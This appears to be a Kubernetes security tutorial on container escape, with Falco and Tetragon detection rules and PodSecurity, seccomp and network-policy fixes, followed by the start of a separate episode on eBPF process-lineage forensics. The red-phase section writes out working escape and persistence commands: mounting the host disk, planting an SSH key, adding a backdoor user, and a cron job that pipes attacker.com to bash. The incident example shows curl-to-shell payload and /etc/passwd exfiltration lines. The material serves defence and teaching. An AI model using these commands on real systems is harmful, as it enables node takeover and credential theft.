  ├── Created by container runtime (containerd, crio)
  ├── Container processes run inside these namespaces
  └── From inside: host PIDs, host network, host filesystem are not visible

cgroups
  ├── Limit CPU, memory, and device access per container
  └── Prevent runaway resource consumption and limit device access scope

seccomp profiles
  ├── Filter system calls the container is allowed to invoke
  └── Block ptrace, mount, CAP_SYS_ADMIN and other privileged syscalls

Capabilities
  ├── Fine-grained kernel privileges (CAP_NET_ADMIN, CAP_SYS_ADMIN, etc.)
  └── --privileged grants ALL capabilities + disables seccomp + disables AppArmor

--privileged removes all three layers simultaneously. It grants every capability, disables the default seccomp filter, and disables AppArmor confinement. A privileged container is effectively a process running on the host with a different filesystem view — and with mount, you can fix even the filesystem view.

Red Phase: The Three Escape Paths

Path 1: –privileged Container

A privileged container has CAP_SYS_ADMIN, which includes the ability to mount arbitrary block devices. On a node with a standard Linux filesystem, /dev/sda1 or equivalent contains the host root filesystem.

Check if the current container is privileged:

# CapEff shows the effective capability set as a hex bitmask
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff

# Decode it
capsh --decode=0000003fffffffff | grep -o 'cap_sys_admin'
# cap_sys_admin — present means privileged

Full escape sequence:

# Step 1: Identify the host block device
# /proc/mounts shows what the container runtime mounted
cat /proc/mounts | grep ' / '
# overlay on / type overlay (rw,...,upperdir=/var/lib/containerd/...)

# Or: check fdisk/lsblk — visible in privileged container
lsblk
# NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
# sda      8:0    0   80G  0 disk
# ├─sda1   8:1    0   79G  0 part /
# └─sda2   8:2    0    1G  0 part [SWAP]

# Step 2: Mount host root filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Step 3a: Write attacker SSH key to host authorized_keys
echo "ssh-rsa AAAA..." >> /mnt/host/root/.ssh/authorized_keys

# Step 3b: Or take an immediate root shell via chroot
chroot /mnt/host /bin/bash
# Now running as root in the host filesystem
# id: uid=0(root) gid=0(root)

# Step 4: From host root — access kubelet credentials
cat /etc/kubernetes/pki/ca.crt
# Or pull the node's bootstrap token / client cert for API server access
ls /var/lib/kubelet/pki/

What persistence looks like from node root:

# Add a backdoor user to host /etc/passwd
chroot /mnt/host useradd -m -s /bin/bash -G sudo backdoor
chroot /mnt/host passwd backdoor

# Or: schedule a cron job on the host
echo "* * * * * root curl http://attacker.com/c2 | bash" \
  >> /mnt/host/etc/cron.d/maintenance

Path 2: hostPID / hostNetwork Escape

hostPID: true is a less obvious escape path than --privileged but equally dangerous. When a container shares the host PID namespace, it can see and interact with every process running on the node — including PID 1, which is running in the host’s full namespace set.

With hostPID enabled, nsenter produces a host root shell without mounting anything:

# From inside the container — see all host processes
ps aux
# This will show containerd, kubelet, systemd, sshd — everything on the node

# nsenter: enter the namespaces of PID 1 (host init process)
# -t 1: target PID 1
# -m: enter mount namespace (host filesystem)
# -u: enter UTS namespace (host hostname)
# -i: enter IPC namespace
# -n: enter network namespace
# -p: enter PID namespace
nsenter -t 1 -m -u -i -n -p -- bash

# Now running in host namespaces
hostname   # shows node hostname, not container hostname
mount | grep " / "  # shows host root mount, not container overlay
id         # uid=0(root) gid=0(root)

nsenter — a Linux utility that enters the namespaces of an existing process. With -t 1 it enters PID 1’s namespaces, which are the host’s namespaces. The result is a shell that sees the host filesystem, host network, and host process tree as if running directly on the node.

hostNetwork: true on its own does not directly produce a root shell, but it exposes the node’s network interfaces and allows binding to host ports. Combined with access to the cloud provider’s instance metadata service (IMDS), it enables credential theft from the node’s IAM role — the attack path covered in SSRF to cloud metadata and IMDSv1 exploitation.

Path 3: runc CVE Escape (CVE-2019-5736)

CVE-2019-5736 is a different attack class — it does not require a misconfiguration in the pod spec. It exploits a race condition in the runc container runtime itself.

The mechanism:

1. Attacker controls a container image
2. Image's entrypoint is a symlink: /proc/self/exe → /runc (or similar path)
3. Operator runs: kubectl exec -it <pod> -- /bin/bash
4. runc reads /proc/self/exe to find its own binary path during exec
5. Attacker's process in container has a brief window to overwrite /proc/self/exe
6. Race condition: attacker overwrites the runc binary on the host with malicious binary
7. On next runc exec, malicious binary runs as root on the host

The detection signature for runc-class escapes is writes to /proc/self/exe or writes to paths that correspond to runc’s host binary location from within a container process:

# Simplified bpftrace detection of /proc/self/exe writes (safe to run as read):
# This shows the pattern — Tetragon implements this as a continuous policy

bpftrace -e '
tracepoint:syscalls:sys_enter_write {
  // Track write() calls where the fd points to /proc/self/exe
  // In production: Tetragon handles this at the LSM hook level
  printf("PID %d comm %s writing fd %d\n", pid, comm, args->fd);
}
' 2>/dev/null | head -20

Patched versions of runc (1.0.0-rc7+, containerd 1.2.3+) fix the race condition. The practical implication: node patching is the only fix for runc-class CVEs — pod security policy cannot prevent a vulnerability in the container runtime itself.

Safe Simulation: Audit Your Cluster Before an Attacker Does

These commands are read-only and safe to run against any cluster you have kubectl access to:

# Find all pods running with --privileged
kubectl get pods -A -o json | \
  jq -r '.items[] |
    select(.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name, 
     (.spec.containers[] | select(.securityContext.privileged == true) | .name)] |
    join(" / ")' | \
  sort -u

# Find pods with hostPID or hostNetwork
kubectl get pods -A -o json | \
  jq -r '.items[] |
    select(.spec.hostPID == true or .spec.hostNetwork == true) |
    [.metadata.namespace, .metadata.name,
     (if .spec.hostPID then "hostPID" else "" end),
     (if .spec.hostNetwork then "hostNetwork" else "" end)] |
    join(" / ")' | \
  grep -v "/$" | \
  sort -u

# Check for pods using hostPath mounts (host filesystem access via volume)
kubectl get pods -A -o json | \
  jq -r '.items[] |
    select(.spec.volumes[]?.hostPath != null) |
    [.metadata.namespace, .metadata.name,
     (.spec.volumes[] | select(.hostPath != null) |
      .name + "→" + .hostPath.path)] |
    join(" / ")' | \
  sort -u

# Check DaemonSets — these often run privileged and cover every node
kubectl get daemonsets -A -o json | \
  jq -r '.items[] |
    select(.spec.template.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name] | join("/")' | \
  sort -u

Blue Phase: eBPF Detection

Detecting container escape attempts requires visibility below the Kubernetes API layer. Audit logs show pod creation — they do not show what a process inside the container does with mount, nsenter, or /proc/self/exe. eBPF-based tools (Falco, Tetragon) attach to kernel hooks and observe syscalls regardless of what namespace or container they originate from.

Falco: Privileged Container and Mount Detection

# Falco rules for container escape detection
# /etc/falco/rules.d/container-escape.yaml

# Rule 1: Privileged container started
- rule: Privileged Container Started
  desc: >
    A container running with --privileged was started.
    This removes all capability and seccomp restrictions.
  condition: >
    container.privileged = true and
    evt.type = execve and
    container.id != host
  output: >
    Privileged container started
    (user=%user.name user_uid=%user.uid
     command=%proc.cmdline
     container_id=%container.id
     container_name=%container.name
     image=%container.image.repository:%container.image.tag
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, privilege-escalation, OWASP-A05]

# Rule 2: Mount syscall from inside a container
- rule: Container Mount Syscall
  desc: >
    A process inside a container invoked mount().
    In a non-privileged container this fails; in a privileged container
    it succeeds and may be mounting host block devices.
  condition: >
    evt.type = mount and
    container.id != host and
    not proc.name in (container_runtime_processes)
  output: >
    Mount syscall from container
    (user=%user.name
     command=%proc.cmdline
     mount_source=%evt.arg.source
     mount_target=%evt.arg.target
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, OWASP-A04]

# Rule 3: nsenter or chroot invoked inside container
- rule: Namespace Enter or Chroot in Container
  desc: >
    nsenter or chroot executed from within a running container.
    nsenter with -t 1 enters host namespaces directly.
  condition: >
    evt.type = execve and
    container.id != host and
    proc.name in (nsenter, chroot)
  output: >
    nsenter/chroot executed in container
    (user=%user.name
     command=%proc.cmdline
     parent=%proc.pname
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, T1611]

# Rule 4: Process reading host PID tree (hostPID indicator)
- rule: Container Reading Host Process List
  desc: >
    A process inside a container is reading /proc entries for PIDs
    that don't belong to it — indicates hostPID=true and enumeration.
  condition: >
    evt.type = openat and
    fd.name startswith /proc/ and
    fd.name endswith /status and
    container.id != host and
    not fd.name startswith /proc/self
  output: >
    Container reading host process status
    (proc=%proc.cmdline fd=%fd.name
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, discovery, T1057]

Tetragon: TracingPolicy for nsenter and Mount Syscalls

Tetragon attaches eBPF programs at LSM (Linux Security Module) hooks and kernel function entry/exit points. Unlike Falco which uses a single tracepoint aggregation model, Tetragon can enforce at the kernel level — it can block a syscall before it completes, not just alert after the fact.

# Tetragon TracingPolicy: detect and optionally block container escape attempts
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: container-escape-detection
  namespace: kube-system
spec:
  kprobes:
    # Hook 1: sys_mount — detect any mount() call from a container process
    - call: "sys_mount"
      return: false
      syscall: true
      args:
        - index: 0
          type: "string"     # source device (e.g. /dev/sda1)
        - index: 1
          type: "string"     # target mount point
        - index: 2
          type: "string"     # filesystem type
      selectors:
        # Only fire for container processes (not the container runtime itself)
        - matchNamespaces:
          - namespace: Pid
            operator: NotIn
            values:
              - "host_pid_ns"   # Replace with actual host PID NS value
          matchActions:
          - action: Post        # Post = log; change to Sigkill to enforce

    # Hook 2: __x64_sys_execve for nsenter binary
    - call: "__x64_sys_execve"
      return: false
      syscall: true
      args:
        - index: 0
          type: "string"     # filename being executed
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - "/nsenter"
          matchActions:
          - action: Post

  # Hook 3: write to /proc/self/exe — runc CVE class indicator
  kprobes:
    - call: "vfs_write"
      return: false
      syscall: false
      args:
        - index: 0
          type: "file"
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - "/proc/self/exe"
          matchActions:
          - action: Sigkill   # Block immediately — no legitimate use case for this write

bpftrace: Quick Node-Level Validation

Before deploying Tetragon, you can validate that mount syscalls are observable from the host using bpftrace directly on a node:

# Run on the Kubernetes node (requires root or CAP_BPF)
# Safe observation mode — shows mount attempts from any process including containers

bpftrace -e '
tracepoint:syscalls:sys_enter_mount {
  printf("%-8d %-20s %-30s -> %-30s type=%s\n",
    pid, comm,
    str(args->dev_name),   // source device
    str(args->dir_name),   // mount target
    str(args->type));      // filesystem type
}
' 2>/dev/null
# Sample output:
# PID      COMM                 SOURCE                         TARGET                         TYPE
# 38471    bash                 /dev/sda1                      /mnt/host                      ext4
# 38471 and comm=bash from inside a container = escape attempt in progress

# Watch for nsenter executions across all processes on the node
bpftrace -e '
tracepoint:syscalls:sys_enter_execve {
  if (str(args->filename) == "/usr/bin/nsenter" ||
      str(args->filename) == "/bin/nsenter") {
    printf("nsenter called: pid=%d ppid=%d comm=%s\n",
      pid, curtask->real_parent->pid, comm);
  }
}
' 2>/dev/null

What Kubernetes Audit Logs Show (and What They Miss)

Kubernetes audit logs record API server activity. They show pod creation with --privileged set — but only if you are watching pod spec creation events. They do not show anything that happens inside the container after it starts.

# Enable audit policy to capture pod creation with privileged spec
# /etc/kubernetes/audit-policy.yaml (excerpt)

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  # Log pod creation at RequestResponse level (captures full spec)
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["pods"]
    verbs: ["create", "update", "patch"]

  # Log exec into pods — this is the entry point for escape attempts
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["pods/exec"]
    verbs: ["create"]

# Parse audit log for privileged pod creation
grep '"privileged":true' /var/log/kubernetes/audit.log | \
  jq -r '[
    .requestReceivedTimestamp,
    .user.username,
    .objectRef.namespace + "/" + .objectRef.name,
    "privileged=true"
  ] | join(" | ")'

# Or via kubectl (if audit log backend is configured)
kubectl get events -A --field-selector reason=Created \
  -o json | \
  jq -r '.items[] |
    select(.message | contains("privileged")) |
    [.metadata.namespace, .involvedObject.name, .message] |
    join(" / ")'

The audit log gap is important to understand: audit logs are a first-alert layer for misconfigured pod creation, not a detection layer for in-progress escape. By the time you see a pod/exec event in audit logs, the attacker already has a shell. eBPF-based detection at the syscall level is what catches the escape itself.

Purple Phase: Structural Fixes

Fix 1: PodSecurity Admission — Enforce Restricted Profile

PodSecurity admission (built into Kubernetes 1.25+, replacing PodSecurityPolicy) enforces security profiles at the namespace level. The Restricted profile blocks --privileged, hostPID, hostNetwork, hostPath volumes, and requires dropping all capabilities.

# Enforce the Restricted PodSecurity profile on a namespace
# This blocks any pod that doesn't meet the criteria from scheduling
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    # enforce: pod is rejected at admission if spec violates Restricted
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    # audit: violations are logged but not rejected (useful for rollout)
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/audit-version: latest
    # warn: user gets a warning but pod is allowed (for migration)
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/warn-version: latest

What Restricted profile blocks (relevant to escape paths):

# These settings are REQUIRED by Restricted — apply them explicitly
# to avoid the admission webhook rejecting your workloads

securityContext:
  # Pod-level
  runAsNonRoot: true
  seccompProfile:
    type: RuntimeDefault    # or Localhost with a custom profile

containers:
  - securityContext:
      allowPrivilegeEscalation: false
      privileged: false          # blocks Path 1
      capabilities:
        drop: ["ALL"]            # no CAP_SYS_ADMIN, no CAP_NET_ADMIN
        add: []                  # add only what is specifically required
      readOnlyRootFilesystem: true  # reduces attacker persistence options

# Pod spec — blocked by Restricted
spec:
  hostPID: false           # must be false (blocks Path 2)
  hostNetwork: false       # must be false
  hostIPC: false           # must be false
  volumes:                 # hostPath volumes blocked
    - name: app-data
      emptyDir: {}         # emptyDir, configMap, secret allowed; hostPath not

Rollout approach for existing clusters:

Start with warn mode on all namespaces, identify violations, remediate, then promote to enforce:

# Label all non-system namespaces with warn mode first
kubectl get namespaces -o json | \
  jq -r '.items[] |
    select(.metadata.name | test("^(kube-system|kube-public|kube-node-lease)$") | not) |
    .metadata.name' | \
  while read ns; do
    kubectl label namespace "$ns" \
      pod-security.kubernetes.io/warn=restricted \
      pod-security.kubernetes.io/warn-version=latest \
      --overwrite
    echo "Labeled $ns"
  done

# After a deployment cycle, check for warnings in admission logs
# Look for pods that would be rejected under enforce mode
kubectl get events -A --field-selector reason=FailedCreate \
  -o json | jq -r '.items[] | select(.message | contains("violates PodSecurity"))'

Fix 2: RuntimeClass — Hardware-Level Isolation for Untrusted Workloads

For workloads that cannot run under Restricted profile (CNI plugins, monitoring agents, specific DaemonSets), the alternative is a stronger isolation boundary: a hypervisor-level runtime.

gVisor and Kata Containers intercept system calls at a layer between the container and the Linux kernel, so a container escape exploiting a kernel vulnerability or a privileged mount hits the sandbox boundary, not the host kernel.

# Define a RuntimeClass for gVisor (runsc)
# Requires gVisor installed on nodes with the runsc runtime handler
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc   # must match the handler name in containerd/crio config
scheduling:
  nodeSelector:
    runtime.gvisor: "true"   # only schedule on nodes that have gVisor
---
# Use the RuntimeClass in a pod spec
apiVersion: v1
kind: Pod
metadata:
  name: untrusted-workload
spec:
  runtimeClassName: gvisor   # all syscalls go through gVisor's sentry
  containers:
    - name: app
      image: untrusted-image:latest

# Kata Containers: hardware VM boundary, not just a user-space syscall interceptor
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata-containers
handler: kata-qemu

For operators: gVisor and Kata Containers have compatibility trade-offs. Not all syscalls are supported in gVisor (it implements a subset of the Linux ABI). Kata Containers have higher startup latency (VM boot time). Benchmark your specific workload before enforcing these on production-critical pods.

Fix 3: Seccomp Profile — Block the Syscalls That Enable Escape

Even without gVisor, a custom seccomp profile that explicitly denies mount, unshare, and clone with namespace flags closes the primary escape syscall surface.

{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": ["SCMP_ARCH_X86_64", "SCMP_ARCH_X86", "SCMP_ARCH_X32"],
  "syscalls": [
    {
      "names": [
        "accept", "accept4", "access", "arch_prctl",
        "bind", "brk", "capget", "capset",
        "chdir", "chmod", "chown", "clock_gettime",
        "clone",
        "close", "connect",
        "dup", "dup2", "dup3",
        "execve", "exit", "exit_group",
        "fchmod", "fchown", "fcntl",
        "fstat", "fstatfs", "fsync",
        "futex", "getcwd", "getdents64",
        "getegid", "geteuid", "getgid", "getgroups",
        "getpeername", "getpid", "getppid",
        "getrlimit", "getsockname", "getsockopt",
        "gettid", "gettimeofday", "getuid",
        "inotify_add_watch", "inotify_init1",
        "listen", "lseek", "lstat",
        "madvise", "mmap", "mprotect",
        "munmap", "nanosleep",
        "open", "openat",
        "pipe", "pipe2", "poll", "ppoll",
        "prctl", "pread64", "pwrite64",
        "read", "readlink", "readv",
        "recvfrom", "recvmsg", "recvmmsg",
        "rename", "rt_sigaction", "rt_sigprocmask",
        "rt_sigreturn", "sched_getaffinity",
        "select", "sendfile", "sendmsg", "sendto",
        "set_robust_list", "set_tid_address",
        "setgid", "setgroups", "setuid",
        "setsockopt", "shutdown",
        "socket", "socketpair",
        "stat", "statfs", "symlink",
        "tgkill", "time", "timerfd_create",
        "timerfd_settime", "truncate",
        "uname", "unlink", "unlinkat",
        "wait4", "waitid",
        "write", "writev"
      ],
      "action": "SCMP_ACT_ALLOW"
    }
  ]
}

Apply via pod spec:

spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: "container-escape-block.json"
      # Profile must be in /var/lib/kubelet/seccomp/ on each node

# Distribute the seccomp profile to all nodes via DaemonSet
# Example using a DaemonSet that copies the profile file on startup
# (or use the built-in RuntimeDefault which blocks ~300 dangerous syscalls)

# RuntimeDefault blocks: mount, unshare, clone with new-ns flags,
# add_key, keyctl, request_key, pivot_root — adequate for most workloads
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault

Fix 4: Network Policy — Contain the Blast Radius After Escape

Even if a container escapes to the node, a network policy that prevents the escaped process from reaching the Kubernetes API server limits what the attacker can do with node credentials.

# Deny all egress from application namespace to Kubernetes API server
# The API server typically runs on port 6443 on the control plane nodes
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-api-server-egress
  namespace: production
spec:
  podSelector: {}       # applies to all pods in namespace
  policyTypes:
    - Egress
  egress:
    # Allow DNS
    - ports:
        - protocol: UDP
          port: 53
    # Allow application traffic (customize per workload)
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: production
    # Explicitly: no rule allowing egress to control plane CIDR
    # This is a deny-by-absence — egress to control plane falls through to default deny

# Also block pod-to-pod communication across namespaces
# to prevent an escaped pod from pivoting to other workloads
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes:
    - Ingress
    - Egress
  # No ingress or egress rules = deny all
  # Add specific rules above this as needed

Fix 5: Node Isolation — Co-location Risk

An internet-facing pod and a pod with access to sensitive internal services should not share a node. If the internet-facing pod escapes, it reaches the node’s credentials and can pivot to anything else scheduled on that node.

# Use node selectors, taints, and tolerations to separate workload tiers

# Taint sensitive nodes so only specific workloads schedule there
kubectl taint nodes sensitive-node-1 workload-tier=sensitive:NoSchedule

# Internet-facing pods: dedicated public-tier nodes
# Internal/privileged pods: dedicated sensitive-tier nodes

# Pod spec for internet-facing workload — only schedules on public nodes
spec:
  nodeSelector:
    workload-tier: public
  tolerations: []   # No toleration for sensitive node taint

# Pod spec for sensitive workload — only schedules on sensitive nodes
spec:
  nodeSelector:
    workload-tier: sensitive
  tolerations:
    - key: workload-tier
      operator: Equal
      value: sensitive
      effect: NoSchedule

⚠ Production Gotchas

Legitimate workloads that require –privileged or hostPID. CNI plugins (Cilium, Calico, Flannel node agents), node-local-dns, monitoring agents (node exporters, eBPF-based agents like Tetragon itself), and storage drivers often need elevated access. Blanket enforcement of Restricted profile without exceptions breaks these workloads. The approach: enforce Restricted on application namespaces; use a dedicated namespace for infrastructure DaemonSets with the Baseline or Privileged policy and compensate with Falco detection and node isolation.

Seccomp Restricted blocks some monitoring agents. The default Restricted seccomp profile blocks several syscalls that APM agents and profiling tools use. Run strace -c -f ./your-agent to capture the syscall profile of your monitoring agent before enforcing Restricted. Common culprits: perf_event_open (used by profilers), ptrace (used by some debuggers), bpf (used by eBPF-based tools). Add these to an allowlist seccomp profile rather than running the agent without any profile.

runc CVEs require node patching, not policy. PodSecurity admission and Falco rules protect against configuration-based escapes. A vulnerability in runc, containerd, or the Linux kernel itself bypasses policy-based controls entirely. Keep container runtime versions current; enable automatic node OS patching (Bottlerocket, Flatcar Linux) if your infrastructure allows it. Subscribe to CVE feeds for containerd (containerd/containerd) and runc (opencontainers/runc) specifically.

hostPath volumes are a partial equivalent to –privileged. A pod without --privileged but with a hostPath volume mounting /etc or /var/lib/kubelet can read node credentials without needing to mount a block device. PodSecurity Restricted blocks hostPath entirely; Baseline allows it. Audit for hostPath volumes separately from --privileged.

RuntimeClass with gVisor has syscall compatibility gaps. Applications that use io_uring, certain socket options, or kernel modules will not work under gVisor’s sentry. Test in staging before deploying to production. The gVisor compatibility matrix is documented at gvisor.dev/docs/user_guide/compatibility — check it for any application that does direct filesystem I/O at high volume (databases, high-throughput queues) as the overhead may be unacceptable even if the syscalls are supported.

Quick Reference

Escape Path Precondition Detection Signal Structural Fix
Privileged container → mount privileged: true Falco: mount syscall from container; Tetragon: sys_mount kprobe PodSecurity Restricted enforce; seccomp blocks mount
hostPID + nsenter hostPID: true Falco: nsenter exec in container; audit log: pod creation with hostPID PodSecurity Restricted; blocks hostPID
hostNetwork + IMDS hostNetwork: true CloudTrail: IMDSv1 call from unexpected source Enforce IMDSv2 hop limit 1; PodSecurity Restricted
runc CVE (CVE-2019-5736) Unpatched runc Tetragon: vfs_write to /proc/self/exe Patch runc/containerd; use RuntimeClass (gVisor)
hostPath volume mount hostPath to sensitive path Falco: sensitive host file access; PodSecurity audit PodSecurity Restricted (blocks hostPath)
Escaped → API server Node credential access Audit log: API calls from node IP at unexpected time Network policy blocking node→API server egress

Key Takeaways

  • Kubernetes container escape starts at the kernel: --privileged, hostPID, and hostNetwork remove Linux namespace and cgroup isolation — the Kubernetes API cannot prevent what happens inside a process that runs with those flags
  • Two commands from privileged container to root on the node: mount /dev/sda1 /mnt/host and chroot /mnt/host /bin/bash — this is not a sophisticated exploit, it is a default kernel behavior
  • eBPF detection (Falco, Tetragon) operates at the syscall level and catches the escape in progress; Kubernetes audit logs only catch the misconfigured pod creation, not the exploitation
  • PodSecurity Restricted enforcement at the namespace level is the structural fix for configuration-based escapes — it blocks --privileged, hostPID, hostNetwork, and hostPath volumes before a pod schedules
  • runc-class CVEs are independent of configuration — node-level patching and RuntimeClass (gVisor/Kata) isolation are the controls, not policy enforcement
  • Network policy as a secondary layer limits post-escape lateral movement: a container that escapes to the node should not be able to reach the API server with stolen node credentials

What’s Next

Container escape requires access to a running pod. But what if the attacker didn’t need to exploit anything at runtime — they shipped the attack as a dependency your build pipeline trusted? EP09 covers supply chain attacks from SolarWinds to XZ Utils: how a malicious package or a compromised build step becomes arbitrary code execution before the container ever runs, the detection patterns that are specific to supply chain compromise (dependency confusion, typosquatting, malicious maintainer takeovers), and the SLSA framework controls that create a verifiable chain of custody from source to deployed artifact.

Get EP09 in your inbox when it publishes → subscribe at linuxcent.com

Process Lineage — Reconstructing What Happened After the Fact

by
Reading Time: 9 minutes

eBPF: From Kernel to Cloud, Episode 13
What Is eBPF? · The BPF Verifier · eBPF vs Kernel Modules · eBPF Program Types · eBPF Maps · CO-RE and libbpf · XDP · TC eBPF · bpftrace · Network Flow Observability · DNS Observability · LSM and Tetragon · Process Lineage

TL;DR

  • Process lineage with eBPF hooks fork and exec at the kernel level — building a tamper-resistant record of every process spawned, tied to its parent, pod, namespace, and timestamp
    (kprobe on fork/exec = an eBPF program that fires every time the kernel’s fork() or execve() system call runs, capturing process name, PID, parent PID, and arguments before any userspace observer could be bypassed)
  • Application logs and container stdout can be deleted or suppressed by a compromised process; kernel-level process events written to a ringbuf and exported to a persistent store cannot
  • The kernel’s task_struct contains the complete process identity: PID, PPID, UID, GID, process name, capabilities, and cgroup (which maps directly to a pod)
  • Tetragon and Falco both build process lineage from kernel events; the difference is storage — Tetragon persists a kernel-side cache of the process tree in BPF maps, Falco reconstructs lineage from an audit log stream
  • Reconstructing an incident from process lineage requires: who spawned the attacker’s process, what did it execute, what files did it open, what connections did it make — all correlated by PID and timestamp
  • Production caution: process events on a busy node can generate high ringbuf write volume; filter aggressively by namespace/cgroup at the eBPF level, not in userspace

EP12 showed how LSM hooks enforce at the syscall boundary — preventing operations before they complete. Process lineage with eBPF is the complementary capability: when an attacker bypasses enforcement, or when you need to understand what happened before the policy was in place, the kernel-level process record is how you reconstruct the attack chain. This episode covers how that record is built and how to read it.

Quick Check: What Process Events Is Your Cluster Already Recording?

# On any cluster node — verify exec tracing is available
bpftrace -e '
tracepoint:syscalls:sys_enter_execve {
    printf("%-20s %-6d %s\n", comm, pid, str(args->filename));
}' --timeout 10

# Expected output:
# containerd-shim     1203   /usr/bin/runc
# runc                1204   /usr/sbin/runc
# sh                  1205   /bin/sh
# node                1842   /usr/local/bin/node
# kube-proxy          2091   /usr/local/bin/kube-proxy

# If Tetragon is installed — view the live process lineage stream
kubectl exec -n kube-system \
  $(kubectl get pod -n kube-system -l app.kubernetes.io/name=tetragon -o name | head -1) \
  -- tetra getevents --event-types PROCESS_EXEC | head -20

Sample Tetragon output:

{
  "process_exec": {
    "process": {
      "pid": 18293,
      "binary": "/bin/sh",
      "arguments": "-c health-check.sh",
      "start_time": "2026-04-22T09:14:03.412Z",
      "pod": {"name": "my-app-6d4f9-xk2p1", "namespace": "production"},
      "parent_pid": 18201
    },
    "parent": {
      "pid": 18201,
      "binary": "/usr/local/bin/my-app",
      "pod": {"name": "my-app-6d4f9-xk2p1", "namespace": "production"}
    }
  }
}

Each event has the process, its parent, the pod, the namespace, and the full binary path. That’s the raw material for process lineage reconstruction.

Not running Tetragon? Plain bpftrace on the node gives you the same raw data without Kubernetes enrichment — you get PIDs and process names but not pod names or namespaces without the /proc/<pid>/cgroup mapping step. For incident reconstruction, the Tetragon-enriched stream is significantly more useful because pod attribution is baked in at capture time, not reconstructed afterward.

A container in the payments namespace was reported compromised. The security team’s automated response had already restarted the pod — the attacker’s process was gone. The container’s filesystem had been reset to the image. The application logs for that pod were deleted when the pod restarted. The Kubernetes event log showed the pod restart but nothing about what had run inside it.

Three questions, no answers yet:
1. What spawned the attacker’s process? (was it a remote code execution in the app, or a misconfigured exec?)
2. What did the attacker run after getting in? (what did they download, execute, touch?)
3. What network connections did they make? (where did data go, if anywhere?)

The answers were in Tetragon’s process event export — captured at the kernel level before the pod was restarted, stored in the observability backend, and queryable by pod name and time window. The kernel had seen every exec, every fork, every file open. The restart didn’t touch that record.

The lineage showed:

my-app (PID 18201)
  └── sh -c "curl http://attacker.com/payload.sh | sh"  (PID 18293)
        └── sh payload.sh  (PID 18294)
              ├── cat /etc/passwd  (PID 18295)
              ├── curl http://attacker.com/exfil -d @/etc/passwd  (PID 18296)
              └── wget -O /tmp/.x http://attacker.com/backdoor  (PID 18297)
                    └── chmod +x /tmp/.x  (PID 18298)

Five minutes of attacker activity, fully reconstructed, from a pod that no longer existed.

How the Kernel Tracks Process Identity

Every process in Linux is represented by a task_struct — the kernel’s internal data structure for a running process. It contains everything the kernel knows about that process.

task_struct — the kernel’s primary data structure for a process. Contains: PID, PPID, UID, GID, process name (comm, 15 chars), open file descriptors, memory mappings, namespace references, cgroup membership, capabilities, and a pointer to the parent task_struct. When bpftrace uses curtask, it’s returning a pointer to the current process’s task_struct. Reading curtask->real_parent->tgid gives you the parent’s PID — the foundation of process lineage.

When a process calls fork(), the kernel:
1. Allocates a new task_struct for the child
2. Copies the parent’s task_struct fields into the child
3. Sets the child’s real_parent pointer to the parent’s task_struct
4. Assigns the child a new PID
5. Returns the child’s PID to the parent, and 0 to the child

When the child calls execve(), the kernel:
1. Validates the binary (verifier/capability checks, LSM hooks)
2. Replaces the process’s memory image with the new binary
3. Updates task_struct->comm with the new process name
4. The PID does not change — execve replaces the process image but not the process identity

This fork → exec sequence is how every shell command works: the shell forks a child, the child execs the command. eBPF hooks on both events, correlated by PID and parent PID, give you the complete tree.

Building the Process Tree with kprobes

The two core hooks for process lineage:

# Every fork — capture parent/child relationship
bpftrace -e '
tracepoint:syscalls:sys_exit_clone {
    if (retval > 0) {
        # retval is the child PID (from parent's perspective)
        printf("FORK parent=%-6d child=%-6d parent_comm=%-20s\n",
               pid, retval, comm);
    }
}'

# Every exec — capture what binary replaced the process image
bpftrace -e '
tracepoint:syscalls:sys_enter_execve {
    printf("EXEC pid=%-6d ppid=%-6d binary=%-40s args=%s\n",
           pid,
           curtask->real_parent->tgid,
           str(args->filename),
           str(*args->argv));
}'

Combined output (30 seconds, simplified):

FORK parent=18201 child=18293  parent_comm=my-app
EXEC pid=18293 ppid=18201 binary=/bin/sh              args=sh -c curl http://...
FORK parent=18293 child=18294  parent_comm=sh
EXEC pid=18294 ppid=18293 binary=/bin/sh              args=sh payload.sh
FORK parent=18294 child=18295  parent_comm=sh
EXEC pid=18295 ppid=18294 binary=/bin/cat             args=cat /etc/passwd
FORK parent=18294 child=18296  parent_comm=sh
EXEC pid=18296 ppid=18294 binary=/usr/bin/curl        args=curl http://attacker.com/exfil -d @/etc/passwd

Each line is a kernel event. The parent/child PID chain is the tree. Rendered:

my-app (18201)
  └── sh (18293) — "sh -c curl http://attacker.com/payload.sh | sh"
        └── sh (18294) — "sh payload.sh"
              ├── cat (18295) — "/etc/passwd"
